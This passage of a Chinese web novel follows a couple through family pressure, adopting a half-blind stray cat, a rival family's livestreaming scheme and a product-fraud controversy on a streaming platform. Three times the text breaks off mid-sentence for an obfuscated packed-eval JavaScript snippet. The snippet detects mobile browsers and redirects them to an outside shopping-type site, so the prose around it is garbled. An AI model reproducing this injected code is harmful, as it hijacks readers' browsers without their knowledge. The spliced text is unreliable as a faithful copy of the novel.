贺存看了一眼墙上的挂钟，估计着人应该已经快到了。他随手扯过挂在门口的羽绒服，裹在身上，匆匆出了门。 楼下，贺存才跨出单元楼的大门，就远远地见到了那个熟悉的身影。 鹿溪午穿着一件浅蓝的羽绒服，但整个人并不臃肿，反而显出几分轻松挺拔来。怀里不知道抱着什么，似乎是一个鼓鼓囊囊的纸袋。 在贺存看见鹿溪午的同时，鹿溪午也看见了他。 “学长！” 贺存赶紧迈开长腿迎上去，接过鹿溪午手里的大纸袋：“这是……KFC？” “昂。”鹿溪午摸了摸鼻子，尴尬一笑。 贺存颠了颠重量，确信鹿溪午还买得不少：“怎么突然想起吃这个了？嘴馋？” “等我回去再跟你解释。”鹿溪午走在前面去摁电梯，“学长怎么下来了？不是说在家里等我吗？” “想早点见到你。”贺存注视着鹿溪午的脸，目光真诚又柔和，像一片泛着日光的粼粼湖面，“……突然就很想你。” 鹿溪午不自在地咳了一声，偏过头时耳根已经红了大片。都说爱人的眼睛是第八大洋，但只有此刻，鹿溪午才对这句话体验得异常深刻。 电梯的逼仄轿厢里，只有彼此的呼吸声在耳边轻轻回荡。他们的目光交汇在一起，鹿溪午总是率先移开的那一个。面对这样直白真挚又热烈温暖的情感，鹿溪午觉得心跳都不是自己的了。 “我，我也是。”鹿溪午说完迅速转过头，细碎的头发在空中划过一道漂亮的弧线，俏皮地飞起又耷拉下来，像是一只灵动的小鹿在森林中轻盈地跳跃。 从贺存的视线看去，他能清晰地看见鹿溪午红得快要滴血的耳根和周遭皮肤上洇开的粉色。 小鹿全然不知自己已经把最脆弱的脖颈暴露在了捕食者的目光下。 衣领交掩中，贺存的喉结不易察觉地滚动了一下：“你……” 叮—— 电梯的铃声打断了贺存未出口的话。 鹿溪午率先离开电梯里狭小的空间，他觉得自己就像是一只被溺在蜜糖里的蜜蜂，生物的本能在提醒他危险，但身体和情感却无一不在渴求这种甜蜜。 也许楼道的微风能吹走这样凝滞暧昧的氛围吧？ 但贺存却不容许鹿溪午逃避。 他一只手抱着纸袋，另一只手拿着钥匙绕过鹿溪午的腰开门，整个人把鹿溪午结结实实抵在门前。 咔哒—— 门开了。 交叠的两道身影几乎可以算是跌进屋里。 大门被一脚踹上，怀里的纸袋被贺存随手扔在吧台上。 鹿溪午只觉得一阵天旋地转，自己就被贺存抵在家里玄关的墙上了。 贺存的手指轻轻滑过鹿溪午的脸颊，指尖顺着脸颊的弧度触碰到那樱桃般的耳尖，如同羽毛般轻柔。鹿溪午不由得颤栗起来，如同鸦羽的睫毛轻轻颤抖着：“痒……” 贺存低低地笑了，指尖仍旧在耳后颈侧那块皮肤上流连：“是谁当初总来撩拨我的？嗯？cunning Bambi……” 鹿溪午能够感受到属于贺存的气息越来越近，他的心跳也早就失去了往日的节奏，变得急促起来。 贺存的唇在意料之中袭来，微凉的柔软触感倾覆在唇上，呼吸交织，如同一首美妙的交响曲。 周围的一切仿佛都在此刻蒸腾消失，所有的感官现在都只剩下了对方，这是一场美妙的旅程，能够忘却所有的烦恼和忧虑。 鹿溪午下意识地攀附住贺存的脖子，使得两人更加紧密地贴合在一起。 迷离的视线扫过吧台上的纸袋，鹿溪午朦胧的脑子里终于划过一丝闪光，他还有正事要跟贺存说来着！ “学，学长……嘶！” 似是贺存在惩罚鹿溪午的不专心，分开时在鹿溪午嘴角轻轻咬了一口。 “……怎么了？” 贺存有些不舍地离开鹿溪午的唇，他伸手理了理鹿溪午凌乱的领口。 鹿溪午单手撑在玄关边的柜子上，另一只手还攥着贺存的外套边：“我刚才见到……” 话到嘴边，面对贺存时鹿溪午反而不知道应该怎样称呼程寅雪了。 “见到谁？”贺存顺着鹿溪午的视线回头，看见那个KFC的袋子时瞬间福至心灵，“我妈？” “嗯。”鹿溪午垂着脑袋，摩挲着贺存袖口的布料。 贺存盯着鹿溪午头顶的发旋，大概猜到程寅雪说了什么。 “……那是我妈妈的想法，不是我的。她没法替我做决定。” 贺存用手背贴贴鹿溪午的面颊，带着安抚的意味，“别把她的话放在心上，也别多想，嗯？” 鹿溪午回望过去，他摘下贺存的手握住，“……学长，你呢？” 那双总是倒映着浅浅笑意的浅色眼瞳，此时正满满装着贺存一个人的身影，“你难过吗？” 鹿溪午没有体验过母爱是什么感觉，但不妨碍他知道：一个真正爱孩子的母亲，会有破坏自家孩子爱情的想法吗？ “什么？”贺存一时怔住了。 “——没关系的，学长。我们一起说服程阿姨改变主意吧。”鹿溪午摇了摇贺存的胳膊，笑起来像是一只讨赏的小猫。 总不能真的让学长因为他跟自己的妈妈争执吧？ “我今天跟她说了——说我相信你。即使不用世俗意义上的捷径，你也可以做成你想做的任何一件事。”鹿溪午的眼神真诚又坚定，“我想程阿姨大概是认同我的话的。” 贺存忍不住用指节蹭了蹭鹿溪午的睫毛，感受到一些细微的酥麻触感。他终于明白为什么程寅雪会打刚才的电话了，被这样一双宛如琥珀的眸子盯着，很难不让人相信他的话吧？ “是的，你做到了。” “唔？” “刚才她给我打了电话，让我去过自己想要的人生。” “诶？”鹿溪午的眸子瞬间亮起：这么容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037163|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易的吗？ “谢谢溪午帮我解决这个问题，作为报酬，今晚想吃什么？我给你做。”贺存拉着鹿溪午走到厨房边，打开冰箱便看见了满满一柜子的新鲜食材。 一瞬间，鹿溪午脑子闪过各种五花八门的菜品，但他还是艰难地擦了擦口水，指着吧台上的KFC纸袋：“那这个怎么办？” 贺存微微一笑：“当午餐吃了呗。” · 程寅雪的会议自然是骗骗两个小孩子的借口。 她只是早就答应了今年的除夕要跟伊顿和莱安一起过而已。 外国人没有过除夕的风俗，只是伊顿尊重程寅雪的习惯而已。 书房里，程寅雪对着星河直播这个月的财务报表看了又看，终是满意地放下平板。 电话里，助理兢兢业业的声音还在继续：“……以目前的形势估算，用不了一年，星河直播就能成为南部地区最盈利的互联网企业。” 程寅雪嗯了一声算作回应：“这些天你搜集资料辛苦了，今年春节奖金翻倍，假期给你多加三天，好好陪陪孩子吧。” 助理的声音顿时开朗起来：“谢谢程总！祝您新年快乐，万事如意！” 程寅雪挂了电话，独自坐在椅子上出神。 能让一个手握半个商业帝国的女王改变主意，可不是鹿溪午几句话就能起作用的事情。 话语再好听也只有催化的本事，真正起决定性作用的，是贺存手里这个颇具雏形的星河直播。 虽然星河如今的财务报表在一众华曙的子公司中并不出挑，但星河却向他们展示出了无与伦比的广阔市场空间和光明灿烂的发展前景。 虽说现在的星河直播仍受体量的限制，但不难看出这已经是一个会吃肉的鳄鱼崽子了，假以时日，星河必会成长为一只吞金巨鳄。 该说什么呢？不愧是她程寅雪的儿子吗？ 笃笃—— 突兀的敲门声打断了程寅雪的沉思。 穿戴整齐的伊顿缓步走进房间，“亲爱的，菜已经做好了，下去吃吗？” “当然，你的饭菜一向很美味。”程寅雪站起身，笑着握住伊顿递过来的手。 “比起回到你那个冷冰冰的家，这么重要的日子还是跟我与莱安一起过更有意义一些吧？” 伊顿自然地吻了吻程寅雪的面颊，牵着她下了楼。 程寅雪读出了伊顿语气中的不满，“伊顿……” 她与贺晋城的婚姻关系现在还不是结束的时候。 “我不能不考虑小存，他也是我的儿子。” “I konw,I konw.”伊顿双手举过头顶，“我能理解，只不过你要尽快好吗？我真的已经等了太久了。” 这才是程寅雪想要贺存联姻的真正原因。 只要贺存彻底接手了华曙，那么程寅雪跟贺晋城的婚姻就没有再维系的必要，她就可以恢复自由身跟自己真正心爱的人在一起。 但她同样也不想把自己的遗憾再留给孩子，如果可以，她也想做贺存心中的好母亲。 “伊顿，你……再等等我。”程寅雪握住伊顿的手，目光恳切又带着一丝祈求，“不会很久了，你信我好吗？” 51.领养 贺存两人把那袋KFC当做午饭下了肚，还意外在袋子底下发现了一个玩具泡泡枪。 型号特别小，手柄是上印着动画片的人物形象，一看就知道是给小朋友的。 鹿溪午兴致勃勃地往里加泡泡水，一连串的泡泡随着指尖的按动飘出来，不一会儿阳台上就盈满了大小不一的泡泡。 贺存端着笔墨和红纸走到阳台上，就被一个大泡泡的破裂糊了一脸。 贺存无奈地擦干脸上的泡泡水，收缴了罪魁祸首的“武器”。 “学长……” 鹿溪午眼巴巴地看着还没玩够的泡泡机，“你让我再玩一会儿嘛。” 轻盈的泡泡就飘落在鹿溪午的发梢上，日光正好，透明的泡泡顿时被映上五颜六色的光，更多更高的泡泡就看不清楚了，大多数都无声无息地消失在天际。 贺存残忍地拒绝了鹿溪午，把桌子上的东西往前一推：“先写对联，这个等会儿再玩。” “嗯？除夕贴对联？” “前几天没来得及。”贺存开始磨墨，手指往门上指了指，“贴在大门边的，先想想写什么。” “这简单。”鹿溪午的注意力顿时从泡泡机转移到对联上，随口吟诵，“年年顺景财运到，日日亨通福盈门，横批：招财进宝！” 贺存：…… “多棒的祝福啊！”鹿溪午完全没注意到贺存的欲言又止，兴奋地摊开红纸，拿起毛笔自己亲自动手写了起来。 鹿溪午的字跟他的人一样，用墨潇洒，轻盈灵动，运笔流畅，一气呵成。 “年年顺景财运到”七个字很快便落在纸上，红色的纸张映衬着黑色的墨迹，微风一来，微翘的纸边便像是一只蝴蝶翩飞的翅膀。 “好字。”贺存由衷地赞道。 “鹿奶奶教的。”鹿溪午眼疾手快地压住被风吹得飞舞的纸张，“小时候过春节，孤儿院的所有对联都是鹿奶奶写的。那时候院里没钱，请不起兴趣老师，鹿奶奶就挨个挨个教我们练书法。毛笔是鹿奶奶自己做的，用最便宜的墨水，写在捡来的报纸上。” 贺存眼眸暗了暗，抬手摸摸鹿溪午的发顶，他忽地就理解了为什么鹿溪午的对联会是这个愿望。 “下联我来写吧。”贺存拿了毛笔蘸了墨，挥笔在纸上写下“日日亨通福盈门”的下联。 跟鹿溪午的字不同，贺存的字一看就知道是受过严格训练成长起来的，八面出锋，错落跌宕，很有米芾的气韵。 真好看。 鹿溪午的眼神一下子就亮了起来，“学长，你教教我你的字吧！” “行，你喜欢的话改天教你啊。”贺存含笑应允。 两人之间温情脉脉的气氛被突如其来的电话铃声打破—— 贺存看了一眼手机，把笔递给鹿溪午：“你写横批，我去接个电话。” 等鹿溪午把四个字写完时，贺存也讲完了电话。 “溪午。” “嗯？”鹿溪午正整理着手里的对联，头也不回地应声，“怎么了？” “你想……养只猫吗？” . 鹿溪午不知道自己是怎样出门的。 直到坐在贺存的副驾驶时，他才如梦初醒：“是那只你之前救过的猫吗？” “是它。” 几个月前，才与鹿溪午认识不久的贺存在办公楼救下过一只小猫，一只不到两个月的狸花猫。 “当时我们判断，那只小狸花应该是被猫妈妈抛弃了的。” “为什么？”鹿溪午揪住了安全带，瞪大眼睛望向贺存的侧颜。 贺存手握方向盘正等着红灯，“因为它右眼看不见，应该是先天性的原因。因为生存压力，野外动物会抛弃先天性残疾的幼崽，这是很常见的现象。” “宠物医院尝试着给小狸花找了两家领养，但都被退回来了。过两天曹风华又得去国际野生动物保护组织帮忙，估计没个一年半载回不来，就打电话问我要不要收养这只小狸花，不然就只能做完绝育放归了。” 鹿溪午终于在脑海里回想起那只被雨淋湿，瑟瑟发抖的小不点，“放归？可是……它可以吗？” “曹风华给它做了野化训练，效果不怎么理想。”贺存抿了抿嘴，“我想……我们可以一起照顾它的，对吗？” 汽车此时正好停在宠物医院门口。 鹿溪午透过车窗望向宠物医院的招牌，又复握紧了手中的安全带，狠狠点点头：“我会努力的。” 贺存没有急着下车，反而握住了鹿溪午的紧紧攥着的拳头，安抚道：“我也在呢，我们一起努力。” 鹿溪午回握住贺存的手，与他十指相扣：“我之前总觉得，我跟这些流浪动物没什么区别，看似整日在这座城市里生活，但实际上就是游荡而已，是太平洋上的无脚鸟，永远也没有归处。” “可是现在不一样了，学长，我有你了。” 鹿溪午眼眸弯弯，闪烁着莹莹的光芒，仿佛冬日里温暖的阳光洒落在心田，烫得人心头颤动。 贺存忍不住跟他一起笑起来：“走吧。” 宠物医院里大大小小的东西都用透明的塑料膜罩上了，确保不会有灰尘落在上方。曹风华正带着人把空下来的宠物笼子挨个收拾好消毒。 “哟？来得真快啊？” 曹风华直起身拍拍手上的灰尘，促狭的眼神在贺存与鹿溪午两人身上巡睃，恍然大悟般开口：“我说你当时怎么……贺存呐，啧啧啧。” 无视曹风华揶揄的眼神，贺存淡定地轻咳一声：“重新介绍一下，这是我男朋友，鹿溪午。” 曹风华听出了贺存咬字咬得极为清晰的“男朋友”，不由得嗤笑出声：“行了，知道了，你的男朋友嘛！” “好久不见呀，小帅哥。”曹风华自然地伸出手，跟鹿溪午短暂地交握，“你们是来接小狸花的吧？” 鹿溪午点头。 “按照我们医院的规定呢，领养人是要填表登记的，居住楼层三楼以上要求提供封窗视频，领养后一个月，三个月，半年等时间节点我们会进行回访。” 说到专业领域，曹风华收起了浑身吊儿郎当的气质，“不过——” 鹿溪午顿时紧张起来：“不过什么？” “不过贺存也是我们协会一员，这些繁琐的程序就让他自查了。” 曹风华冲贺存一摊手，“我们前几天接到了爱德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044552|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华的求助，他们最近救助了两个非洲的野生象群，急需大量的医疗人员。” 贺存蹙起了眉，语调沉沉：“象群？又是那帮白人偷猎者吗？” “是。”提到偷猎者，曹风华的神情也不大好看，“爱德华这几年都不知道跟他们的大使馆交涉过几次了，看起来一点作用都没有。” “什么偷猎者？”鹿溪午有些茫然，“你们认识吗？” “一个在非洲臭名昭著的白人团体，专门偷猎野象犀牛鳄鱼，把他们活生生地拔角剥皮，然后将象牙犀牛角鳄鱼皮走私到欧洲或者美洲，以牟取私利。”贺存的声音头一次听起来这么冷沉。 鹿溪午呆愣地眨了眨眼睛，他似乎都能闻到那股飘在非洲草原上空的那股经久不息的血腥味。 “行了不说这些了，看看你们的猫。”曹风华生硬地转移话题，接过护士手里的航空箱，打开门拴露出里面乖巧的小狸花。 在医院里好吃好喝养了许久，这只小狸花已经完全不复当初的瘦弱模样，颊边的肉微微鼓起，倒显得珠圆玉润的。 鹿溪午不大理解：“为什么它这么可爱会被退养两次？” “因为它看不清。最初我们以为它只是右眼有点视力上的小缺陷，但没想到其实它的左眼也是弱视，所以它经常会撞在家具上，撞得狠了就是小两千，是个小吞金兽没错了。”曹风华用手指逗了逗笼子里的猫，惹得它在笼子里来回扑腾。 贺存淡定地抚开曹风华作乱的手，接过箱子：“没事，养得起。” “呵呵。”曹风华敷衍地扯起嘴角，“赶紧走吧你！” 照顾了小狸花许久的雯姐追了出来，手里分别提着两大袋的东西，从猫粮到玩具，全都给打包好了。 鹿溪午急忙接过贺存手里的航空箱，让贺存好从雯姐手里把东西提过来。 “这些都是小狸花用惯的，我都给放好了。”雯姐有些不舍地望了一眼航空箱，“我们也没给它起名字，一直就小狸花小狸花地叫着，你们给它起个名字吧。” 贺存顺势望向鹿溪午，眸中星光闪过：“溪午？” “我来吗？”鹿溪午有些诧异，“我没有……” “相信自己。”贺存目露鼓励之色，“它可是我们的猫呀。” 鹿溪午看了看贺存，目光转向笼子里的猫。此时，小狸花正好奇地打量着鹿溪午，因为右眼看不见的缘故，故而姿势有几分的别扭。 这是一个鲜活的，顽强的生命。天生的残缺使它颠沛流离，濒临死亡，但爱又使它疯狂长出血肉，重新变得鲜妍活泼。 鹿溪午从小猫圆形的瞳孔中清晰地看见了自己的影子。 “小狸花……” “喵呜？”箱子里的猫轻轻叫了一声，能回应的左眼依旧灵动。 鹿溪午笑意盈盈地看向贺存：“要不……还叫小狸花吧。” 小猫又一次听到自己的名字，再次在笼子里应答，叫声清晰又干脆，像是在回应。 “——你看，这是它为自己选的名字。” 贺存垂眸看了一眼活泼的猫，现在的它已经全然看不出几个月前的可怜模样了。 “好啊，那就叫小狸花吧。” 52.出事 林修是在除夕这一天赶回国的。 林家别墅此时已经被佣人装扮一新，大门贴上了对联，挂上了八角宫灯，窗户上的窗花也是精心挑选后符合整栋别墅风格的。管家也换上了红色长褂，试图为别墅增添一分喜气。 “大少爷，回来了。您先去洗个澡吧，洗澡水已经放好了。”管家接过林修风尘仆仆的外套，恭敬地说。 “嗯。父亲和小奚呢？” “老爷在书房，二少爷在房间。” “都在吗……”林修揉了揉发酸的太阳穴，“知道了，我先去收拾一下。” 林修的回归意味着林氏在纽约上市已经板上钉钉没有问题了，这算是一件大事，尤其是对于林奚来说。 饭桌上，林修向林沂天简单地汇报了纽1约的情况：“……两周后纽交所开盘时，您就能见到林氏的股票了，发行价是每股18美元，到时需要您亲自上市敲钟。” 桌子下边，众人看不到的地方，林奚双拳骤然紧握：纽约那边诸事既定，那么鹿溪午的存在是不是就不用再遮掩了 “很好。”林沂天满意点头，这是这段时间以来最好的消息了：“对了，正好你回来了，我最近有个项目，你跟——” 林沂天顿了顿，视线转到林奚身上：“跟小奚，一起去做吧。” “我吗？”林奚有些惊讶指了指自己的鼻子，眼底暗淡的神色倏地明亮起来，“需要我做什么？” 林沂天回想起自己收到的关于贺存的消息，忍不住暗自咬牙，不得不承认贺存作为华曙的继承人，在商业方面有令人眼红的天赋。 一般来说，走在时代最前沿的人，往往会获得绝大部分的利润；嗅觉敏锐，善于跟风的人，会捡到遗留的不少好处；被时代裹挟，浑浑噩噩的人，只能被动向前，连肉汤都分不到一滴。 如果把直播经济比作一块蛋糕的话，贺存已经做了先行者，拿走了蛋糕的绝大部分。剩下的一小块，就看谁反应快，抢得多！ “直播。” 林沂天招招手，训练有素的管家立即递过来一份文件。 “这是计划书，准备依托咱们的电商平台，单独开辟一个直播页面。” 林修翻了翻文件，大致了解了情况：“您是想借小奚给咱们直播引流吗？可是……” “我可以。”林奚有些急切地开口，“爸爸，我愿意去的。” 林修看了一眼急躁的林奚，却蹙起眉来：“小奚，这件事还是要多考虑一下。” “先让小奚去试试，不行再另外想办法。”林沂天的食指在桌面上叩了叩，清脆的声音顿时打断了林修的话。 “好了，吃饭吧。”林沂天目的达到，便及时停止了这个话题。 终于被林沂天“委以重任”的林奚顿时喜笑颜开，用公筷讨好一般地往他的碗里夹菜。 林修欲言又止，捏紧了手里的筷子。 林氏旗下的元嘉娱乐并不缺大牌艺人。要想找一个引流对象并不是一件难事，林沂天完全可以慢慢挑选，找到一个更适合的。 而林奚虽然有流量和热度，但现在的他□□缠身，外界评价毁誉参半，显然不太适合。 那为什么一定要林奚去呢？一个黑红的明星最适合做什么？若是成功便皆大欢喜，若是失败，林氏元嘉也不会有什么大的损失。 该怎么说好呢？父亲真不愧是成功的商人。 林修忍无可忍地闭上眼，而这个小动作则被林沂天收入眼中。 饭后的除夕夜，林家别墅总是很清冷。这片区域禁烟花，偌大的别墅此时只有空空荡荡的风吹过。管家和佣人习惯地噤声，轻手轻脚地做着自己的事。 书房里，林修跟林沂天无声地对峙着。 “这个项目，我打算让你来负责。”林沂天率先打破沉默，“先在元嘉娱乐那边挑几个主播的好苗子，要能说会道的，先培养起来。” “好……但是小奚不能去这个项目。” 林修捏着文件夹的边缘，语调急切，“现在网上的舆论还没有平息，要是这个节骨眼再出事的话，以后小奚就很难往歌星的方向发展了。” “这个项目对小奚来说的风险太大，换一个流量更好的，粉丝黏度更高的，元嘉娱乐里也不是挑不出来。” 林沂天面无表情地听着林修的慷慨激昂，眼神却望向了窗外的夜色：“这个模式，目前对林氏来说是新的领域，对大众来说也是新的方式，对小奚而言也是新的机遇。” “机遇？”林修喃喃地重复。 林沂天从抽屉里拿出几页薄薄的纸：“看看，星河TV目前的盈利数据。” 之前因为贺存拒绝跟林氏合作的事，林修后来也关注着贺存的动作，知道他收购了一家直播公司就是星河TV。 这家公司有几斤几两，林修是清楚的。当时他怎么也不明白贺存收购这家公司的用意，直到现在—— “这……怎么做到的？” 林修看着星河TV漂亮的数据，不敢相信这跟之前是同一家公司。 “就是这个。”林沂天敲了敲文件夹，“直播带货，主播，才是未来的摇钱树。” “我是在给小奚机会，明白吗？” 林修怔忡地走出书房，独自来到了露台边，却意外遇见了一个此时最不想遇见的人。 “……小奚。” 林奚转回头，冬夜的冷风像是刀子一般刮在两人的身上，皮肤很快便泛起彻骨的阴寒。 “大哥？你应该多穿一点的。”林奚裹紧了身上的羽绒服，说话时哈出的白雾在灯光的掩映下很快消散。 林修此时还穿着室内的薄毛衣，但他却像是感受不到寒冷一般：“小奚，你为什么要答应爸？” “我为什么不答应？”林奚的声音在夜空中扩散开，幽幽的仿佛藏着无限心事。 “你不是想做歌手吗？一旦答应了这件事，你……还怎么做歌手……” 林奚笑了起来：“不过是换个地方唱歌而已，从舞台上到直播间，都一样。” . 假期的日子总是过得十分快。 鹿溪午抱着小狸花送走封窗的工人，掏出手机拍了一张照片发给贺存。 [学长，窗户和阳台都封好了] [图片. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056187|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' jpg] 鹿溪午等了一会儿没等到贺存的回音，猜到他一定在忙，于是放下手机专心玩猫去了。 今天初五，贺存原本计划跟鹿溪午一起去城郊的公园玩雪，但早上助理的一个电话打断了两人的畅想。 是关于星河TV的事情。 一个ID名为[小明梅梅]的健身主播在直播间买出的某品牌蛋白粉被爆出造假。 这正是人们对新兴事物最敏感的时候，舆论必须得好好处理。 贺存快速翻看着助理给的资料，平日里硬挺的眉毛紧蹙着：“这个蛋白粉品牌我记得没有跟星河签约吧？” “这是品牌方和主播的私下交易，与我们其实并无关系，但这次的声势有些太大了，我怀疑……”星河负责人话语从电话里传来，未尽之意不得不令人皱眉。 “先按我们的预案处理，这种情况也不是没有预演过，别慌。”贺存安慰了几句，大致定下了下一步的行动方案。 挂断电话，助理便急匆匆走进办公室：“小贺总，您看热搜！” 平板上，正播放着关于此次的蛋白粉事件的视频，此时已经爬到热搜第四的位置了。 贺存只是瞥了一眼助理的平板，声音却是意料之外的平静：“先让公关部的人压一压消息，稍后星河那边就会出详细的声明。” 这样的事迟早都会出现，贺存心知肚明。落井下石是常见的选择，但不代表贺存会对扔石块的人忍气吞声。 “去查查有多少人在背后搞小动作，记下来。”贺存啪地一下合上手里的文件夹，银框眼镜反射出一道绚丽的金光，黑沉的眼眸锋芒毕露。 助理微微躬身：“好的，小贺总——对了，您接下来有个紧急的视频会议，是来自华曙互联网企划部的。” 助理觑着贺存的神色，压低了声音：“刘经理也会来。” “我知道了。” 贺存微一点头，似乎对这场临时的会议并不意外，董事会里有不少对他使绊子的人，不知道这次来的这个刘经理又是谁的人。 “您不需要做做准备么？”助理有些担忧。 “没什么好准备的。”贺存偏头，目光从办公室里的那扇巨大的落地窗延伸出去，整个人像是一柄即将出鞘的利剑。 “一家企业在经营过程中必经的风浪而已，他们如果把这个当做把柄的话，我不介意好好嘲笑他们一番。” 星河TV总部。 谢嘉跟负责人一起再次审核了一遍声明，确认无误后让运营发布出去。 负责人看着网络上的评论，仍有些担心：“我们就这么发一篇声明就可以了么？不再说点别的？” 谢嘉瞧着负责人紧张的样子，起身给他倒了一杯咖啡：“别紧张，咱们又没做错什么。蛋白粉又不是咱们生产的，卖也不是咱们卖的，你担心什么？” “可是……” “没有可是。”谢嘉把咖啡重重地放在负责人面前，“你见过谁在菜市场买了一块变质的猪肉，不找肉铺也不找养猪场，反而来找菜市场建筑商的？咱们只是搭建了一个平台，再怪也怪不到咱们头上的。” 53.星河 【死鬼！终于想起密码了啊？】 【有生之年系列，爷爷你关注的主播开播啦——】 【deer开播了？！不对劲，重进一下看看】 【我靠！真的是你！！！】 鹿溪午笑眯眯地面对镜头，不怎么熟练地挥了挥手：“那个，嗨！” 【嗨什么嗨！狗东西多久没开播了？】 【说好集训结束的补偿呢？渣男！】 【好久没看D神打游戏了，我要闹了！】 【那个，只有我一个人舔屏？D神的颜好香好香好香】 【prprpr——】 【颜粉收敛一下，苦衩子绊倒我了】 “确实拖得大家有点久了，今天这不有空就上播了，不要生气嘛。”鹿溪午心虚地挠挠脸颊，歪着头呆毛也跟着晃动。 “今天是要给大家介绍一个新朋友，看——” 鹿溪午把小狸花抱到镜头面前，捏着它的爪子挥了挥：“来，给大家打声招呼。” 小狸花不懂鹿溪午是在干嘛，懵懂的眼珠直勾勾地盯着镜头：“喵？” 【嘶——】 【awslawslawsl】 【帅哥加萌猫，我安详了】 【给大家介绍一下，这是我lg和孩子】 【前面的想p吃！】 鹿溪午没注意到弹幕的腥风血雨，下巴搁在小狸花的头顶蹭了蹭，柔软的皮毛令他发出一声几不可闻的满足喟叹：“我家小狸花，大家多担待。” 【担待担待，我们都担待！】 【这只猫猫看起来有点问题，建议寄过来让我详细检查一下】 【前算蹦脸，懂？】 “小狸花原先是只流浪猫，右眼有点点小缺陷。” 听到自己名字的小狸花再次转过头去看自己的新主人，却因为右眼视力的缘故，姿势看起来格外别扭。 “它是想用左眼看见我，大家别被吓到啦。”鹿溪午耐心地帮怀里的小狸花调整姿势，顺便跟弹幕聊聊天。 【好可怜的小狸花～打赏飞船一架，给小狸花的见面礼】 【打赏鲜花999朵】 【可不可以治吖？医药费我来出QAQ】 【deer不缺钱，估计小猫是先天性的吧？】 “对，是先天性的，医生说治不好的。最开始我们以为小狸花只是右眼看不见，后来发现他的左眼应该也是弱视。” 鹿溪午叹了口气，安慰似的在小狸花身上挠了挠，“最近家里把边边角角都包起来了，防止它把自己撞伤。” 【要不去试试中兽医？我看星河有个中兽医主播还不错】 【他最近的重心在卖货上吧？好久没看到他出诊视频了】 【都怪星河搞了个什么计划，好好的直播视频网站变成购物平台了】 【就那个蛋白粉事件闹得沸沸扬扬的，看着就糟心】 【D神今天不会也是来带货的吧？】 【不会吧……】 鹿溪午看着弹幕的话题渐歪，淡淡出声：“你们好像不喜欢这种销售形式？为什么？直播不是更直观吗？” 【我们是来看直播放松的，又不是消费的】 【谁喜欢看广告啊，不都跳过吗】 【好好的视频平台，现在感觉乌烟瘴气的，全是广告，找个下饭视频都不好找】 “其实都是呈现形式的失误吧，并不是这个模式本身不好。”鹿溪午微微一笑，两颗眼珠好像上好的琥珀焦糖，莹润而有光泽。 “不知道你们注意到了没有，星河现在的页面多出来了一个新的板块——助农。” 【好像是有一个……】 【等等，我还不是最新版本，我去更新一下来看看】 鹿溪午继续循循善诱：“你点开这个页面，会发现这些主播卖的都是农产品。” 说着，鹿溪午点开页面上的一个直播间，封面非常朴实无华，是一片橙树林。 主播是一个头发花白，腰背伛偻的老人。手里拿着硕大的橙子，笨拙地对着镜头一字一句介绍，乡音浓重却字字清晰。 老人家年纪虽大，但手脚却很是麻利，手起刀落间切好了一个大橙子，汁水丰富得从果皮流出，一粒粒饱满的细长的橙粒就展示在观众面前。 【吸溜吸溜】 【就突然想下单了怎么办？】 【我已经下了，先来五斤尝尝味道】 【你们看，老爷爷的直播间有星河的官方介绍！】 观察仔细的观众在直播间的简介上发现了星河的认证小绿标，还附带了星河的讲解—— 元和县血橙，汁多味美，富含维C。（星河TV认证农产品） 【我就是元和县人，今年血橙大丰收，好多橙子堆在地里卖不出去，直播倒是个增加销路好方法啊！】 【想起来了，小绿标就是星河认证的产品直播间，若是收到的货物有假，星河也会负责的！】 鹿溪午任由弹幕的科普，自顾自打开了另外的直播间：“看看这个商标，眼熟吗？” 一个红色的简笔画海鸥图案出现在观众面前。 【有点眼熟啊……】 【我去，这不是我小时候常用的香皂吗？我还以为它破产了呢！】 【这个香皂很好用的，就是现在超市里不卖了，被某些国际大牌垄断了。】 【回忆杀……】 直播间里没有主播，只有几个工人在生产线上工作着。但页面上也贴心地放着介绍：老牌国货香皂，纯植物提取，温和不伤肤。 鹿溪午退出香皂的直播间。 不知什么时候，在星河TV的页面上挤满了这种挂着链接的直播间。 有农产品的，老牌国货的，甚至还有直播讲课的…… 【兄弟们，等会儿，我好像明白星河在下什么棋了】 【我承认我之前对星河说话的声音是大了一点……】 【星河牛掰好吧，我宣布我从此以后就住在星河了！】 【愣着干什么兄弟们，买啊！】 鹿溪午笑着面对直播间的观众们：“你看，好的东西是不需要太多解释的，大家都能看出来。新的事物成长总会需要一点空间的，大家觉得呢？” . 星河TV爆了。 全网都在讨论星河直播的新模式，甚至连官媒都纷纷下场点评夸赞，舆论形势就此逆转。 